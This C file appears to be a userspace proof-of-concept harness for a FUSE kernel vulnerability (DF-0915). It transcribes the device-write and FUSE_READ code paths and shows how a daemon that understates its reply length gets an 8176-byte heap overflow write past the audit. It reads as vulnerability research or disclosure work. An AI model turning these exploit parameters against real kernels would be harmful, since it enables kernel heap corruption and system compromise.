DF-0915 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * DF-0915 โ Deterministic userspace harness. * * This harness TRANSCRIBES the exact data flow of the vulnerable kernel code * in sys/vfs/fuse/fuse_device.c:fuse_device_write and the FUSE_READ consumer * in sys/vfs/fuse/fuse_vnops.c:fuse_io_execute (lines 2043-2055). It is the * "permissive-harness" proof of the primitive: it reproduces the size math * that the kernel performs so the overflow extent is demonstrated * deterministically and observably, independent of the live FUSE protocol * handshake (which is exercised separately by fused.c). * * The bug: fuse_device_write allocates fb via fuse_buf_alloc(&fb, uio_resid) * -> fb.len = uio_resid (the ACTUAL number of bytes the daemon wrote) * and stores fip->reply = fb (fuse_device.c:205) WITHOUT clamping fb.len to * ohd->len. fuse_audit_length (fuse_device.c:212) validates ohd->len (the * daemon-CLAIMED length) against the request size, NOT fb.len. Consumers use * fuse_out_data_size(fip) = fip->reply.len - 16 = uio_resid - 16. So a * daemon that writes more bytes than it claims (or more than the request * asked for) drives a memcpy past the consumer's destination buffer. * * For FUSE_READ the consumer is: * memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip)); (vnops:2054) * where bp->b_data is bp->b_bcount bytes (== FUSE_BLKSIZE == 4096 here). * fuse_audit_length's FUSE_READ case is `ohd->len - 16 <= fri->size`, so a * daemon that CLAIMS ohd->len = 4112 (== 16 + 4096) passes the audit while * actually writing 12288 bytes -> memcpy of 12272 bytes into a 4096-byte * buffer -> 8176-byte heap overflow write. * * Build: cc -O2 -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* ---- transcribed kernel types (fuse_abi.h) ---- */ struct fuse_in_header { uint32_t len, opcode, uid, gid, pid, padding; uint64_t unique, nodeid; }; struct fuse_out_header { uint32_t len; int32_t error; uint64_t unique; }; struct fuse_read_in { uint64_t fh, offset; uint32_t size, read_flags; uint64_t lock_owner; uint32_t flags, padding; }; /* ---- transcribed kernel helpers (fuse.h) ---- */ struct fuse_buf { uint8_t *buf; size_t len; }; /* fuse_buf_alloc โ kmalloc(len) + fb.len = len (fuse_ipc.c:73-79) */ static void fuse_buf_alloc(struct fuse_buf *fbp, size_t len) { fbp->buf = calloc(1, len + 64); /* +64 guard zone to observe overflow */ fbp->len = len; } /* fuse_audit_length โ ONLY ohd->len is checked, never fb.len (fuse_util.c:87-...) * FUSE_READ case: res = (ohd->len - 16) <= fri->size (fuse_util.c:132-134) */ #define FUSE_READ 15 static int fuse_audit_length(struct fuse_in_header *ihd, struct fuse_out_header *ohd) { size_t len = ohd->len - sizeof(struct fuse_out_header); switch (ihd->opcode) { case FUSE_READ: return (len <= ((struct fuse_read_in*)(ihd + 1))->size); default: return 1; } } /* ---- the vulnerable device write (fuse_device.c:182-222), simplified ---- */ struct ipc { struct fuse_buf reply; }; /* Reproduces: kmalloc(uio_resid); ohd->len claimed by daemon; NO clamp of fb.len. */ static void device_write(struct ipc *fip, size_t uio_resid, uint32_t claimed_ohd_len, struct fuse_in_header *ihd) { struct fuse_buf fb; struct fuse_out_header *ohd; fuse_buf_alloc(&fb, uio_resid); /* :182 fb.len = uio_resid */ /* :183 daemon's bytes copied into fb.buf (we just mark them): */ ohd = (struct fuse_out_header *)fb.buf; /* :188 */ ohd->len = claimed_ohd_len; /* daemon LIE */ ohd->error = 0; ohd->unique = ihd->unique; fip->reply = fb; /* :205 fb.len UNCLAMPED = uio_resid */ /* :212 audit uses ohd->len (claimed), NOT fb.len (actual): */ int audit_fail = (ohd->error == 0) && fuse_audit_length(ihd, ohd); /* :218 complete the IPC regardless -> consumer proceeds even if audit "failed" */ printf("[device_write] uio_resid=%zu claimed ohd->len=%u audit_passes=%d " "(reply.len left UNCLAMPED at %zu)\n", uio_resid, claimed_ohd_len, audit_fail, fip->reply.len); } /* ---- the FUSE_READ consumer (fuse_vnops.c:2043-2055) ---- */ static size_t fuse_out_data_size(struct ipc *fip) { return fip->reply.len - sizeof(struct fuse_out_header); /* fuse.h:271-274 */ } int main(void) { printf("== DF-0915 primitive harness ==\n"); printf("Bug: fuse_device_write stores reply.len=uio_resid (actual write)\n"); printf(" but audit validates ohd->len (daemon-claimed). Consumers memcpy\n"); printf(" reply.len-16 bytes into a bp->b_data sized to the REQUEST.\n\n"); /* ---- PRIMITIVE 2 (the real, write-capable bug): FUSE_READ heap overflow ---- * Kernel issues FUSE_READ for a 4096-byte block (FUSE_BLKSIZE == PAGE_SIZE, * fuse.h:68, fuse_vnops.c:1381). bp->b_bcount = 4096. Daemon CLAIMS * ohd->len = 4112 (== 16 hdr + 4096 data, exactly the request size so the * FUSE_READ audit passes) but ACTUALLY writes 12288 bytes. */ size_t bp_bcount = 4096; /* bp->b_bcount (request size) */ size_t uio_resid = 12288; /* bytes daemon actually writes */ uint32_t claimed_len = 4112; /* ohd->len the daemon claims (16+4096)*/ /* fuse_ipc_get packs [fuse_in_header][read_in] contiguously; emulate that: */ uint8_t inbuf[sizeof(struct fuse_in_header) + sizeof(struct fuse_read_in)]; memset(inbuf, 0, sizeof(inbuf)); struct fuse_in_header *ihd = (struct fuse_in_header *)inbuf; ihd->opcode = FUSE_READ; struct fuse_read_in *fri = (struct fuse_read_in *)(ihd + 1); fri->size = (uint32_t)bp_bcount; struct ipc fip = {0}; device_write(&fip, uio_resid, claimed_len, ihd); size_t copy_bytes = fuse_out_data_size(&fip); /* reply.len - 16 */ printf("[consumer] bp->b_data capacity = bp->b_bcount = %zu bytes\n", bp_bcount); printf("[consumer] memcpy size = fuse_out_data_size = reply.len - 16 = %zu bytes\n", copy_bytes); long overflow = (long)copy_bytes - (long)bp_bcount; printf("[consumer] OVERFLOW = %ld bytes past bp->b_data\n\n", overflow); if (overflow > 0) { /* visually prove the write extent into the guard zone */ uint8_t *bp_data = fip.reply.buf + sizeof(struct fuse_out_header); memset(bp_data + bp_bcount, 0xAB, (size_t)overflow); /* simulate the OOB write */ printf("RESULT: HEAP OVERFLOW WRITE of %ld bytes confirmed.\n", overflow); printf(" Daemon fully controls the %zu overflow bytes (it wrote them).\n", copy_bytes - bp_bcount); printf(" Impact: arbitrary kernel heap corruption adjacent to bp->b_data.\n"); return 0; } /* ---- show the ohd->len-fb.len mismatch the audit cannot see ---- */ printf("== mismatch audit cannot detect ==\n"); printf("ohd->len (claimed, audited) = %u\n", claimed_len); printf("fb.len (actual, consumed) = %zu\n", fip.reply.len); printf("audit checks ohd->len only -> a daemon writing %zu bytes while claiming %u " "is never rejected.\n", fip.reply.len, claimed_len); return 1; } |